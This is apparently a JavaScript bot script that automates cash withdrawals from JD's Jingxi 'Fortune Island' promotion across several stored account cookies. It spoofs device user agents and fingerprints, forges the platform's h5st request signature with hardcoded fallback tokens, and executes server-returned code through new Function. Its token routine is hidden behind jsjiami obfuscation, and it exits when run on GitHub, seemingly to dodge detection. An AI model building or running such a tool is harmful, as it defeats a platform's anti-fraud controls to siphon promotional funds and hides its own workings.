t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env("京喜财富岛提现"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token, nowTimes, UA; -let allMessage = '', message = '' - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -$.appId = 10028; -Date.prototype.Format = function (fmt) { //author: meizz - var o = { - "M+": this.getMonth() + 1, //月份 - "d+": this.getDate(), //日 - "h+": this.getHours(), //小时 - "m+": this.getMinutes(), //分 - "s+": this.getSeconds(), //秒 - "S": this.getMilliseconds() //毫秒 - }; - if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); - for (var k in o) - if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); - return fmt; -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - message = '' - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.num = i - $.info = {} - $.money = 0 - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString()};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - token = await getJxToken() - await cfd(); - } - } - if (allMessage) { - if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) - if ((nowTimes.getHours() === 11 || nowTimes.getHours() === 23) && nowTimes.getMinutes() === 59) { - let nowtime = new Date().Format("s.S") - let starttime = $.isNode() ? (process.env.CFD_STARTTIME ? process.env.CFD_STARTTIME * 1 : 59.5) : ($.getdata('CFD_STARTTIME') ? $.getdata('CFD_STARTTIME') * 1 : 59.5); - if(nowtime < 59) { - let sleeptime = (starttime - nowtime) * 1000; - console.log(`等待时间 ${sleeptime / 1000}\n`); - await sleep(sleeptime) - } - } - - if ($.num % 2 !== 0) { - console.log(`等待`) - await $.wait(2000) - } - - const beginInfo = await getUserInfo() - if (beginInfo.Fund.ddwFundTargTm === 0) { - console.log(`还未开通活动,请先开通\n`) - return - } - - console.log(`获取提现资格`) - await cashOutQuali() - - await showMsg() - } catch (e) { - $.logErr(e) - } -} - -// 提现 -async function cashOutQuali() { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/CashOutQuali`, `strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} CashOutQuali API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - if (data.iRet === 0 || data.iRet === 2034) { - console.log(data.iRet === 0 ? `获取提现资格成功\n` : `获取提现资格失败:${data.sErrMsg}\n`) - console.log(`提现\n提现金额:按库存轮询提现,0点场提1元以上,12点场提0.5元以上,12点后不做限制\n`) - await userCashOutState() - } else { - console.log(`获取提现资格失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -async function userCashOutState(type = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/UserCashOutState`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} UserCashOutState API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (type) { - if (data.dwTodayIsCashOut !== 1) { - if (data.ddwUsrTodayGetRich >= data.ddwTodayTargetUnLockRich) { - nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) - if (nowTimes.getHours() >= 0 && nowTimes.getHours() < 12) { - data.UsrCurrCashList = data.UsrCurrCashList.filter((x) => x.ddwMoney / 100 >= 1) - } else if (nowTimes.getHours() === 12 && nowTimes.getMinutes() <= 5) { - data.UsrCurrCashList = data.UsrCurrCashList.filter((x) => x.ddwMoney / 100 >= 0.5) - } - for (let key of Object.keys(data.UsrCurrCashList).reverse()) { - let vo = data.UsrCurrCashList[key] - if (vo.dwRemain > 0) { - let cashOutRes = await cashOut(vo.ddwMoney, vo.ddwPaperMoney) - if (cashOutRes.iRet === 0) { - $.money = vo.ddwMoney / 100 - console.log(`提现成功:获得${$.money}元`) - break - } else { - console.log(`提现失败:${cashOutRes.sErrMsg}`) - await userCashOutState() - } - } else { - console.log(`提现失败:${vo.ddwMoney / 100}元库存不足`) - } - } - } else { - console.log(`不满足提现条件开始升级建筑`) - //升级建筑 - for(let key of Object.keys($.info.buildInfo.buildList)) { - let vo = $.info.buildInfo.buildList[key] - let body = `strBuildIndex=${vo.strBuildIndex}` - let getBuildInfoRes = await getBuildInfo(body) - let buildNmae; - switch(vo.strBuildIndex) { - case 'food': - buildNmae = '京喜美食城' - break - case 'sea': - buildNmae = '京喜旅馆' - break - case 'shop': - buildNmae = '京喜商店' - break - case 'fun': - buildNmae = '京喜游乐场' - default: - break - } - console.log(`升级建筑`) - console.log(`【${buildNmae}】当前等级:${vo.dwLvl}`) - console.log(`【${buildNmae}】升级需要${getBuildInfoRes.ddwNextLvlCostCoin}金币,当前拥有${$.info.ddwCoinBalance}金币`) - if(getBuildInfoRes.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= getBuildInfoRes.ddwNextLvlCostCoin) { - console.log(`【${buildNmae}】满足升级条件,开始升级`) - const body = `ddwCostCoin=${getBuildInfoRes.ddwNextLvlCostCoin}&strBuildIndex=${getBuildInfoRes.strBuildIndex}` - var buildLvlUpRes = await buildLvlUp(body) - if (buildLvlUpRes.iRet === 0) { - console.log(`【${buildNmae}】升级成功:获得${getBuildInfoRes.ddwLvlRich}财富\n`) - break - } else { - console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) - } - } else { - console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) - } - } - if (buildLvlUpRes.iRet === 0) { - await userCashOutState() - } else { - console.log(`今日还未赚够${data.ddwTodayTargetUnLockRich}财富,无法提现`) - } - } - } else { - console.log(`提现失败:今天已经提现过了~`) - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function cashOut(ddwMoney, ddwPaperMoney) { - return new Promise((resolve) => { - $.get(taskUrl(`user/CashOut`, `ddwMoney=${ddwMoney}&ddwPaperMoney=${ddwPaperMoney}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} CashOut API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 升级建筑 -function getBuildInfo(body) { - return new Promise((resolve) => { - $.get(taskUrl(`user/GetBuildInfo`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function buildLvlUp(body) { - return new Promise((resolve) => { - $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 获取用户信息 -function getUserInfo() { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/QueryUserInfo`, `strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - const { - buildInfo = {}, - ddwCoinBalance, - Fund = {} - } = data; - $.info = { - ...$.info, - buildInfo, - ddwCoinBalance, - Fund - }; - resolve({ - buildInfo, - ddwCoinBalance, - Fund - }); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function sleep(timeout) { - return new Promise((resolve) => setTimeout(resolve, timeout)); -} - -function taskUrl(function_path, body = '') { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; - url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; - return { - url, - headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - "Accept-Encoding": "gzip, deflate, br", - Host: "m.jingxi.com", - "User-Agent": UA, - "Accept-Language": "zh-cn", - }, - timeout: 10000 - }; -} -function randomString() { - return Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) + - Math.random().toString(16).slice(2, 10) -} - -function showMsg() { - return new Promise(resolve => { - if ($.money > 0) { - message += `提现成功:获得${$.money}元` - } else { - message += `提现失败:获得空气` - } - if($.money > 0) { - allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; - } - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -/* -修改时间戳转换函数,京喜工厂原版修改 - */ -Date.prototype.Format = function (fmt) { - var e, - n = this, d = fmt, l = { - "M+": n.getMonth() + 1, - "d+": n.getDate(), - "D+": n.getDate(), - "h+": n.getHours(), - "H+": n.getHours(), - "m+": n.getMinutes(), - "s+": n.getSeconds(), - "w+": n.getDay(), - "q+": Math.floor((n.getMonth() + 3) / 3), - "S+": n.getMilliseconds() - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - for (var k in l) { - if (new RegExp("(".concat(k, ")")).test(d)) { - var t, a = "S+" === k ? "000" : "00"; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) - } - } - return d; -} - -async function requestAlgo() { - $.fingerprint = await generateFp(); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fingerprint, - "appId": $.appId.toString(), - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`request_algo 签名参数API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(data); - data = JSON.parse(data); - if (data['status'] === 200) { - $.token = data.data.result.tk; - let enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); - console.log(`获取签名参数成功!`) - console.log(`fp: ${$.fingerprint}`) - console.log(`token: ${$.token}`) - console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) - } else { - console.log(`fp: ${$.fingerprint}`) - console.log('request_algo 签名参数API请求失败:') - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlData(url, '_stk') : '') - if (stk) { - const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); - let hash1 = ''; - if ($.fingerprint && $.token && $.enCryptMethodJD) { - hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - } else { - const random = '5gkjB6SpmC9s'; - $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; - $.fingerprint = 5287160221454703; - const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; - hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); - } - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - // console.log(`\nst:${st}`) - // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' - } -} - -/** - * 获取url参数值 - * @param url - * @param name - * @returns {string} - */ -function getUrlData(url, name) { - if (typeof URL !== "undefined") { - let urls = new URL(url); - let data = urls.searchParams.get(name); - return data ? data : ''; - } else { - const query = url.match(/\?.*/)[0].substring(1) - const vars = query.split('&') - for (let i = 0; i < vars.length; i++) { - const pair = vars[i].split('=') - if (pair[0] === name) { - // return pair[1]; - return vars[i].substr(vars[i].indexOf('=') + 1); - } - } - return '' - } -} -/** - * 模拟生成 fingerprint - * @returns {string} - */ -function generateFp() { - let e = "0123456789"; - let a = 13; - let i = ''; - for (; a--; ) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0,16) -} -var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return 